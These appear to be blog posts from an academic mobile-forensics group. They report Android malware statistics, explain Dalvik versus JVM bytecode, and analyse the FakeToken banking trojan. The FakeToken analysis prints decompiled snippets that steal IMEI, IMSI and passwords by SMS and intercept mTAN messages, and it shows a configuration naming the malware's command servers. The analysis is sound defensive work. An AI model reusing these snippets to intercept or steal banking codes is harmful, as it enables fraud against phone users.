mobile phone forensics and mobile malware
One of our students has built a great security app for the Android platform with support for crowed intelligence – ContrOWL.
ContrOWL is a security app that helps you find potential threads among your installed apps. It can also check freshly added apps on the fly and notify you if an app is rated as suspicious. ContrOWL also gives you information about top used permissions and broadcast intents of malware apps which should help you to evaluate them.
Please support him and test his app!
In 2012 our Mobile-Sandbox analyzed over 300,000 Android applications that were submitted by mostly anonymous users, Anti-Virus-Companies and by our own. Within this huge amount of data our system detected nearly 43,000 malicious and unwanted applications belonging to 115 different malware families.
Most of these malicious applications were downloaded from Asian and Russian Third-Party markets, but we have also found 13 malware families with samples that had been downloaded from the official Google-Play market. When looking at the malicious and unwanted applications and the corresponding families, one can see the following distribution of malicious behavior:
| Families that steal personal information | 51,3 % |
| Families that send premium rated SMS messages | 30,1 % |
| Families with characteristics of a Botnet | 23,5 % |
| Families that contain Root-Exploits | 18,3 % |
| Families downloaded from the Google-Play Market | 11,3 % |
| Families that install additional applications | 10,4 % |
| Families that steal location related data | 8,7 % |
| Potentially unwanted applications | 7,8 % |
| Online-Banking Trojans | 3,5 % |
Looking at this table and the amount of more than 43,000 malicious applications that were submitted to our analysis system, it becomes clear that there is a real threat for bona fide Android users.
More than 50% of all malware families try to steal personal information from the smartphone like IMSI, IMEI and contact entries. Even if this action doesn’t harm the smartphone user directly the information can be sold on the underground market or used for targeted Spam campaigns.
The second most often threat harms the infected user directly: 30 % of all malware families send premium rated SMS messages that cost the user between $1 and $5 for each SMS message and, of course, these applications send more than one SMS message.
Nearly as dangerous as this set of applications are the malware families that come with their own root exploit. If this exploit works properly, the attacker can do nearly everything with the infected device without the knowledge of the smartphone user. This kind of malicious behavior was found in more than 18 % of all malware families.
Within 2012 a huge amount of Banks switched from the common TAN procedure to the mobile TAN (mTAN) for additional security. This trend can also be seen when looking at the malware families. In 2012 we detected 4 different families (3,5 %) that try to intercept and modify this mTAN messages. When the computer and the smartphone of an online banking user is infected with this kind of malware, the attacker can modify each transaction without the knowledge of the infected user.
After several months without any updates, we added more than 30 malware families to our overview. The reports of the Mobile-Sandbox will follow within the next few days.
The following blog post describes the major similarities and differences of Dalvik and Java Bytecode. This is particularly important to understand how Dalvik and Java differ in order to be able to understand the characteristics of Android applications and malicious behavior.
Android applications are usually written in Java language and are executed in the Dalvik Virtual Machine (DVM), which is different from the classical Java Virtual Machine (JVM). The DVM is developed by Google and optimized for the characteristics of mobile operating systems (especially for the Android platform). The bytecode running in Dalvik is transferred from traditional JVM bytecode to the dex-format by translating Java .class files with the conversion tool dx. Contrary to the DVM, JVM is using pure Java class files. If you want to reverse an Android application, it is necessary to understand Dalvik bytecode format, as well as you need deep knowledge in static and dynamic state instrumentation. Wiliam Enck et. al summed up the differences between JVM and DVM bytecode in their paper “A Study of Android Application Security” as following:
1. Architecture of the Android Application
JVM bytecode is composed of one or more .class files (each of these contains one Java class). During run time, JVM will dynamically load the bytecode for each class from the corresponding .class file. While Dalvik bytecode is only composed of one .dex file, containing all the classes of the application. The figure below shows the genaration process of the .dex file. After the Java compiler has created JVM bytecode, the Dalvik dx compiler deletes all .class files and recompiles them to Dalvik bytecode. Afterwards dx merges them into one .dex file. This process includes translation, reconstruction and interpretation of the basic elements of the application (constant pool, class definitions and data segments). The constant pool describes all the contants, including references, method names, and numeric constants. Class definitions include access flags, class names, etc. The data segments include all the function code executed by the target VM as well as related information about classes and functions (e.g. number of registers used by DVM, local variables list, operand stack size) and instance variables.
2. Register Structure
DVM is based on registers, while JVM is based on the stack. In JVM bytecode, local variables will be listed in the local variables list, and then pushed onto the stack for manipulation by opcodes. In addition, JVM could also work directly on the stack without explicitly storing local variables into the variable list. In Dalvik bytecode, local variables would be assigned to any of the 216 available registers. Dalvik opcodes do not access the elements in the stack. Instead, they operate directly on the registers.
3. Instruction Set
Dalvik has 218 opcodes which are essentially different from the 200 opcodes in Java. For instance, a dozen of opcodes are used for transferring data between stack and local variables list, while totally absent in Dalvik. Instructions in Dalvik are longer than in Java, since most of them contain source and destination address of registers. For a comprehensive overview of Dalvik opcodes see the Blog post of Gabor Paller and Android Developers.
4. Constant Pool Structure
JVM bytecode has iterated constant pools among all of the .class files, e.g. referent function names. By providing a constant pool for the reference of all classes in Dalvik, dx compiler eliminates the iterations. Moreover, dx removes some constants by using inline technology. Therefore, integers, long integers, as well as single and double float constants disappear during the dx compilation.
5. Ambigious Primitive Types
In JVM, the opcodes for integers and single float constants are different, along with long integers and double float constants. While Dalvik implements the same opcode for both, integers and float constants.
6. Null References
Dalvik bytecode does not have a specific null type. Instead, Dalvik uses a 0 value constant. So, the ambiguous implication of constant 0 should be distinguished properly.
7. Object References
JVM bytecode uses different opcodes for object reference comparison and null type comparison, while Dalvik simplifies them into one opcode. Thus, the type info of the comparison object must be recovered during decompilation.
8. Storage of Primitive Type of Array
Dalvik uses indefinite opcodes to operate on an array, while JVM uses defined ones. The array type information must be recovered for correct translation.
Intro: What is Android.FakeToken?
This new malware-family emerged some days ago within a spanish Spam-campain and spreads through email and SMS messages. This new Android malware tries to forward mTAN SMS messages to a remote user and thus has the typical man-in-the-middle functionality, we have already seen in malware families like Zeus and SpyEye, but it also can be controlled remotely and doesn’t need to infect the user’s PC.
Analysis of the Application and Its Structure
When installing the app it requests the following permissions:
After the application has been installed successfully, the icon of the app shows up in the dashboard and the application registers some receivers which will trigger when a specific system event occurs (for example: BOOT_COMPLETED, USER_PRESENT, PHONE_STATE or SMS_RECEIVED). When the user executes the app, it shows a WebView component that displays an html-page which looks like a Token-Generator and it appears to be from the targeted bank (in our case it should look like the Santander Consumer Bank):
localWebView.addJavascriptInterface(new WebApi(this), "android");
System.out.println("Build.VERSION.RELEASE: " + Build.VERSION.RELEASE);
if ((Build.VERSION.RELEASE.startsWith("2.3.1")) || (Build.VERSION.RELEASE.startsWith("2.3.3")))
localWebView.loadUrl("file:///android_asset/html/index_bag.html");
....
To get the fake token (just a random number), the user must enter the first factor of authentication. As soon as this step is done, the application sends a SMS message to the author and starts a background service afterwards:
public void sendPass(String paramString)
{
try
{
if (!Settings.saved.sendInitSms)
{
Settings.saved.sendInitSms = true;
String str = Settings.saved.smsPrefix + " INIT " + MainApplication.imei + " " + MainApplication.imsi + " " + paramString;
MainService.sendSms(Settings.saved.number, str);
MainApplication.settings.save(this.context);
}
....
This background service is listening to commands from the remote server (e.g. update of configuration) and starts periodically. When the smartphone of the victim receives a SMS message, the broadcast will be aborted and the message will be forwarded to a given phone number or remote server.
abortBroadcast(); SmsMessage localSmsMessage = arrayOfSmsMessage[j]; String str1 = localSmsMessage.getOriginatingAddress(); String str2 = localSmsMessage.getMessageBody(); CatchResult localCatchResult = MainApplication.settings.isCatchMessage(str1, str2); if (localCatchResult.result) MainService.start(paramContext, paramIntent, "catch", str1, str2, localCatchResult.key); if ((MainApplication.settings.isNewServer(paramContext, str1, str2)) || (MainApplication.settings.isDeleteMessage(str1, str2)))
The application sends IMEI, IMSI, phone type, version, sid, phone number and the SMS body within a HTTP Post to one of the corresponding remote servers. These servers and all necessary information are stored in a xml configuration (/data/data/token.generator/files/settings):
79021121067 1.0 santander http://icoolshop.ru/cp/server.php http://iconsshopbest.com/cp/server.php qe4faf23r4e2 sid_1 false 1331934321409 43200
This file can be updated remotely (via SMS and HTTP GET) if the phone number or server address of the malware author changes. The malware also has the ability to install further apk-files and sends the phone numbers of all entries in the address book of the victim to a remote server. The last step happens probably for further distribution of the malware.
Sample Information:
sha256:
f7c36355c706fc9dd8954c096825e0613807e0da4bd7f3de97de0aec0be23b79
md5:
4548973449f707a6359a9b321ef54d31